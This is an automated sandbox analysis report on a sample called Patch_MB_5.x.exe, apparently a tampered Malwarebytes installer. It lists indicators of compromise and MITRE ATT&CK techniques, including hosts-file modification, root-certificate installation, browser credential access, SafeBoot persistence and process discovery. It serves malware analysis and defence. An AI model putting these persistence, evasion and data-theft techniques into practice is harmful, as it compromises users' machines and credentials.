bd526968893102942c27d3c6c89cd92e066268bde0bc83a5569be090227d5257

Analysis

user interaction
yes
max time kernel
210s
max time network
182s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
05/09/2026, 19:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Patch_MB_5.x.exe
Size 65.3MB
Sample260905-ymmcdaytb1
SHA256 bd526968893102942c27d3c6c89cd92e066268bde0bc83a5569be090227d5257
MD5 720d4425c920dd3e6d1928b0946c1765
SHA1 f9b8f46f392c3cb11458ecee23270aa8a8479efa
SHA512 29fa37f30199226f0bb8bc9f33e8f0dfa1b854b5fb51e19acc1c72ae7919c31976c50c4436c9ff610431e96b3668ff06c5b9366514ddb4186ff6e3f9997db39c
SSDEEP 1572864:mKoOTa0qcP0gR8xcbkcAeuQAPLV3kZKPMwJaFMMOWQllS:1oAdTMgGibJAGAjZJ4MMGnS
TLSH
T1AFE73322D33A6BBDD1A6C03A05458F0CAB3FBABD4333C2E70441A714DB566D25F3665A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

adware defense_evasion discovery execution installer persistence privilege_escalation spyware stealer trojan

Malware Config

Signatures

Drops file in Drivers directory 20 IoCs

description	ioc	Process
File created	C:\Windows\system32\drivers\is-RGIEU.tmp	rs.tmp
File created	C:\Windows\system32\DRIVERS\mbam.sys	mbamservice.exe
File created	C:\Windows\system32\DRIVERS\SETE608.tmp	mbamservice.exe
File opened for modification	C:\Windows\system32\DRIVERS\SETE618.tmp	mbamservice.exe
File created	C:\Windows\system32\DRIVERS\MbamElam.sys	mbamservice.exe
File opened for modification	C:\Windows\system32\DRIVERS\MbamElam.sys	mbamservice.exe
File created	C:\Windows\system32\DRIVERS\SET9DF1.tmp	mbamservice.exe
File opened for modification	C:\Windows\system32\DRIVERS\SETE608.tmp	mbamservice.exe
File opened for modification	C:\Windows\system32\DRIVERS\farflt.sys	mbamservice.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\system32\DRIVERS\SET9DF1.tmp	mbamservice.exe
File opened for modification	C:\Windows\system32\DRIVERS\MbamChameleon.sys	mbamservice.exe
File opened for modification	C:\Windows\system32\DRIVERS\SETE658.tmp	mbamservice.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	cmd.exe
File opened for modification	C:\Windows\system32\DRIVERS\mbamswissarmy.sys	mbamservice.exe
File opened for modification	C:\Windows\system32\DRIVERS\SETA005.tmp	mbamservice.exe
File created	C:\Windows\system32\DRIVERS\SETA005.tmp	mbamservice.exe
File created	C:\Windows\system32\DRIVERS\SETE618.tmp	mbamservice.exe
File created	C:\Windows\system32\DRIVERS\SETE658.tmp	mbamservice.exe
File opened for modification	C:\Windows\system32\DRIVERS\mwac.sys	mbamservice.exe

Installs a root certificate to the trusted certificate store 1 TTPs 2 IoCs

A root certificate was added to the trusted certificate store using CertUtil.

defense_evasion

Install Root Certificate

T1553.004

pid	Process
1832	certutil.exe
2456	certutil.exe

Sets service image path in registry 3 TTPs 2 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MBAMSwissArmy\ImagePath = "\\SystemRoot\\System32\\Drivers\\mbamswissarmy.sys"	mbamservice.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MBAMChameleon\ImagePath = "\\SystemRoot\\System32\\Drivers\\MbamChameleon.sys"	mbamservice.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	mbamservice.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	mbamservice.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	_iu14D2N.tmp

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 17 IoCs

pid	Process
5036	7z2201.exe
3420	7z.exe
4396	7z.exe
4924	rs.exe
3912	rs.tmp
2504	mbamservice.exe
1116	MbamElam.sys
4360	mbamservice.exe
3736	mbamtray.exe
3780	mbam.sys
2260	mbae64.sys
4332	unins000.exe
1060	_iu14D2N.tmp
3920	MBAMWsc.exe
1160	mbamservice.exe
3192	mbamwsc.exe
3452	7z.exe

Impair Defenses: Safe Mode Boot 1 TTPs 2 IoCs

defense_evasion

Safe Mode Boot

T1562.009

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\MBAMService	rs.tmp
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\MBAMService\ = "Service"	rs.tmp

Loads dropped DLL 63 IoCs

pid	Process
3420	7z.exe
4396	7z.exe
3912	rs.tmp
3912	rs.tmp
3912	rs.tmp
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
1060	_iu14D2N.tmp
2264	regsvr32.exe
3452	7z.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Q:	mbamservice.exe
File opened (read-only)	\??\U:	mbamservice.exe
File opened (read-only)	\??\V:	mbamservice.exe
File opened (read-only)	\??\Z:	mbamservice.exe
File opened (read-only)	\??\J:	mbamservice.exe
File opened (read-only)	\??\R:	mbamservice.exe
File opened (read-only)	\??\W:	mbamservice.exe
File opened (read-only)	\??\Y:	mbamservice.exe
File opened (read-only)	\??\A:	mbamservice.exe
File opened (read-only)	\??\B:	mbamservice.exe
File opened (read-only)	\??\G:	mbamservice.exe
File opened (read-only)	\??\H:	mbamservice.exe
File opened (read-only)	\??\K:	mbamservice.exe
File opened (read-only)	\??\O:	mbamservice.exe
File opened (read-only)	\??\X:	mbamservice.exe
File opened (read-only)	\??\E:	mbamservice.exe
File opened (read-only)	\??\I:	mbamservice.exe
File opened (read-only)	\??\L:	mbamservice.exe
File opened (read-only)	\??\M:	mbamservice.exe
File opened (read-only)	\??\N:	mbamservice.exe
File opened (read-only)	\??\P:	mbamservice.exe
File opened (read-only)	\??\S:	mbamservice.exe
File opened (read-only)	\??\T:	mbamservice.exe

Looks up external IP address via web service 1 TTPs 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
109	ipinfo.io
110	ipinfo.io
108	ipinfo.io

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Start PowerShell.

execution

PowerShell

T1059.001

pid	Process
3172	powershell.exe
2512	powershell.exe
2044	powershell.exe

Discovers running processes 1 TTPs 64 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
5312	tasklist.exe
5704	Process not Found
5028	tasklist.exe
1828	tasklist.exe
2428	tasklist.exe
1988	tasklist.exe
6100	Process not Found
6080	Process not Found
1912	tasklist.exe
1160	tasklist.exe
1264	tasklist.exe
2008	tasklist.exe
1960	tasklist.exe
5872	Process not Found
3096	tasklist.exe
4688	tasklist.exe
3604	tasklist.exe
3936	tasklist.exe
1844	tasklist.exe
5644	tasklist.exe
5248	Process not Found
1172	tasklist.exe
3108	tasklist.exe
2636	tasklist.exe
2356	tasklist.exe
1536	tasklist.exe
1032	tasklist.exe
4136	tasklist.exe
3108	tasklist.exe
5064	tasklist.exe
5204	tasklist.exe
5576	tasklist.exe
6080	Process not Found
5584	Process not Found
5856	Process not Found
2552	tasklist.exe
2908	tasklist.exe
3820	tasklist.exe
2208	tasklist.exe
5368	tasklist.exe
5664	Process not Found
6004	Process not Found
4584	tasklist.exe
4196	tasklist.exe
1536	tasklist.exe
6060	tasklist.exe
1296	tasklist.exe
2752	tasklist.exe
1720	tasklist.exe
1284	tasklist.exe
5980	Process not Found
1160	tasklist.exe
4504	tasklist.exe
3304	tasklist.exe
560	tasklist.exe
2604	tasklist.exe
2408	tasklist.exe
1032	tasklist.exe
1880	tasklist.exe
5056	tasklist.exe
5456	Process not Found
664	tasklist.exe
1400	tasklist.exe
4992	tasklist.exe

Drops file in System32 directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	mbamservice.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\EE44ECA143B76F2B9F2A5AA75B5D1EC6_847118BE2683F0C241D1D702F3A3F5F9	mbamservice.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CA4458E7366E94A3C3A9C1FE548B6D21_C2C3D990B393462F0B24251F41DF0EF5	mbamservice.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	mbamservice.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\EE44ECA143B76F2B9F2A5AA75B5D1EC6_847118BE2683F0C241D1D702F3A3F5F9	mbamservice.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CA4458E7366E94A3C3A9C1FE548B6D21_C2C3D990B393462F0B24251F41DF0EF5	mbamservice.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7BD5521448F9309F5CEB0C75890FFABC	mbamservice.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7BD5521448F9309F5CEB0C75890FFABC	mbamservice.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\be.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\co.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\lv.txt	7z2201.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\is-QDVIH.tmp	rs.tmp
File created	C:\Program Files\Malwarebytes\Anti-Malware\is-EANH9.tmp	rs.tmp
File created	C:\Program Files\Malwarebytes\Anti-Malware\is-B6QPI.tmp	rs.tmp
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\fy.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\lt.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\tt.txt	7z2201.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\is-NI1Q4.tmp	rs.tmp
File created	C:\Program Files\Malwarebytes\Anti-Malware\is-9E2GV.tmp	rs.tmp
File created	C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\mbshlext.dll	mbamservice.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\unins000.dat	rs.tmp
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\en.ttt	7z2201.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\is-PHN3H.tmp	rs.tmp
File created	C:\Program Files\Malwarebytes\Anti-Malware\is-SCJS9.tmp	rs.tmp
File created	C:\Program Files\Malwarebytes\Anti-Malware\is-B2S0P.tmp	rs.tmp
File created	C:\Program Files\Malwarebytes\Anti-Malware\sdk\MBAMSwissArmy.tmf	mbamservice.exe
File created	C:\Program Files (x86)\7-Zip\Lang\ca.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\ku-ckb.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\nb.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\si.txt	7z2201.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\is-ROB61.tmp	rs.tmp
File created	C:\Program Files\Malwarebytes\Anti-Malware\is-U9CGG.tmp	rs.tmp
File created	C:\Program Files\Malwarebytes\Anti-Malware\is-B63KT.tmp	rs.tmp
File created	C:\Program Files\Malwarebytes\Anti-Malware\is-SSN4O.tmp	rs.tmp
File opened for modification	C:\Program Files (x86)\7-Zip\History.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\el.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\eo.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\hy.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\is.txt	7z2201.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\is-JMCTH.tmp	rs.tmp
File created	C:\Program Files\Malwarebytes\Anti-Malware\is-MPGFB.tmp	rs.tmp
File created	C:\Program Files\Malwarebytes\Anti-Malware\is-O5AN8.tmp	rs.tmp
File created	C:\Program Files (x86)\7-Zip\Lang\en.ttt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\fy.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\gu.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\hu.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\th.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\7z.dll	7z2201.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\is-M2A6A.tmp	rs.tmp
File created	C:\Program Files\Malwarebytes\Anti-Malware\scenegraph\is-P7BP6.tmp	rs.tmp
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\ps.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\pt.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\sq.txt	7z2201.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Controls\Styles\Flat\is-SOLQL.tmp	rs.tmp
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Dialogs\is-DEM5U.tmp	rs.tmp
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Dialogs\is-1HG0U.tmp	rs.tmp
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Dialogs\images\is-KSMC3.tmp	rs.tmp
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\PrivateWidgets\is-TDLR6.tmp	rs.tmp
File created	C:\Program Files (x86)\7-Zip\Lang\da.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\et.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\ky.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\mk.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\pt.txt	7z2201.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Dialogs\is-NRB2H.tmp	rs.tmp
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Window.2\is-DQO88.tmp	rs.tmp
File created	C:\Program Files\Malwarebytes\Anti-Malware\is-A6OK6.tmp	rs.tmp
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\co.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\sk.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\7z.exe	7z2201.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\is-LG25C.tmp	rs.tmp
File created	C:\Program Files\Malwarebytes\Anti-Malware\Qt\labs\settings\is-53JN9.tmp	rs.tmp
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Dialogs\is-BCFSB.tmp	rs.tmp

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\security\logs\scecomp.log	mbamservice.exe
File created	C:\Windows\ELAMBKUP	mbamservice.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5336	Process not Found
6016	Process not Found
2884	cmd.exe
3100	cmd.exe
3484	cmd.exe
5064	cmd.exe
2916	cmd.exe
6076	cmd.exe
5552	cmd.exe
6024	Process not Found
5812	Process not Found
5040	cmd.exe
852	cmd.exe
5216	Process not Found
5960	Process not Found
3328	cmd.exe
4352	cmd.exe
2260	cmd.exe
212	cmd.exe
4292	cmd.exe
5688	cmd.exe
1244	cmd.exe
4288	cmd.exe
3952	cmd.exe
5644	Process not Found
5496	Process not Found
4108	Process not Found
4976	cmd.exe
1988	cmd.exe
5480	Process not Found
1056	cmd.exe
408	cmd.exe
3728	cmd.exe
5772	Process not Found
5144	Process not Found
1908	cmd.exe
2344	cmd.exe
2964	cmd.exe
2320	cmd.exe
2164	cmd.exe
5176	Process not Found
4624	cmd.exe
4992	cmd.exe
5904	Process not Found
5964	cmd.exe
2180	cmd.exe
3924	cmd.exe
3644	cmd.exe
5088	cmd.exe
3268	cmd.exe
1804	cmd.exe
4284	cmd.exe
2160	cmd.exe
2104	cmd.exe
3536	cmd.exe
3324	cmd.exe
400	cmd.exe
1536	cmd.exe
924	Process not Found
5664	Process not Found
4152	cmd.exe
2008	cmd.exe
3232	cmd.exe
5684	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7z.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rs.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	unins000.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7z2201.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7z.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mbamtray.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	_iu14D2N.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7z.exe

Inno Setup is an open-source installation builder for Windows applications. 3 IoCs

Inno Setup installer

installer

resource	yara_rule
behavioral7/memory/4924-273-0x0000000000400000-0x0000000000445000-memory.dmp	innosetup
behavioral7/memory/4924-828-0x0000000000400000-0x0000000000445000-memory.dmp	innosetup
behavioral7/memory/4924-1379-0x0000000000400000-0x0000000000445000-memory.dmp	innosetup

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mbamservice.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mbamservice.exe

Delays execution with timeout.exe 19 IoCs

defense_evasion

pid	Process
4028	timeout.exe
4192	timeout.exe
3324	timeout.exe
3432	timeout.exe
4392	timeout.exe
4028	timeout.exe
3252	timeout.exe
3828	timeout.exe
2068	timeout.exe
3532	timeout.exe
1156	timeout.exe
4668	timeout.exe
3792	timeout.exe
2552	timeout.exe
5004	timeout.exe
4108	timeout.exe
4916	timeout.exe
3568	timeout.exe
2908	timeout.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	rs.tmp
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\mbamtray.exe = "11000"	rs.tmp
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\mbam.exe = "11000"	rs.tmp

Modifies data under HKEY_USERS 48 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	mbamservice.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	mbamservice.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	mbamservice.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	mbamservice.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\MY	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	mbamservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	mbamservice.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\MB.CleanController.1	mbamservice.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{893E5593-9490-4E90-9F1E-0B786EC41470}\TypeLib	mbamservice.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{AC5390D0-3831-4D42-BD1D-8151A5A1742C}\TypeLib\Version = "1.0"	mbamservice.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{81541635-736E-4460-81AA-86118F313CD5}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}"	mbamservice.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{2A153977-1A37-4EF7-9226-9E128FA51AE1}\ProxyStubClsid32	mbamservice.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{76AD4430-9C5C-4FC2-A15F-4E16ACD735AC}\TypeLib\ = "{FFB94DF8-FC15-411C-B443-E937085E2AC1}"	mbamservice.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{F415899A-1576-4C8B-BC9F-4854781F8A20}\Version\ = "1.0"	mbamservice.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{8F1C46F8-E697-4175-B240-CDE682A4BA2D}\ = "MWACController Class"	mbamservice.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\MB.PoliciesController.1	mbamservice.exe
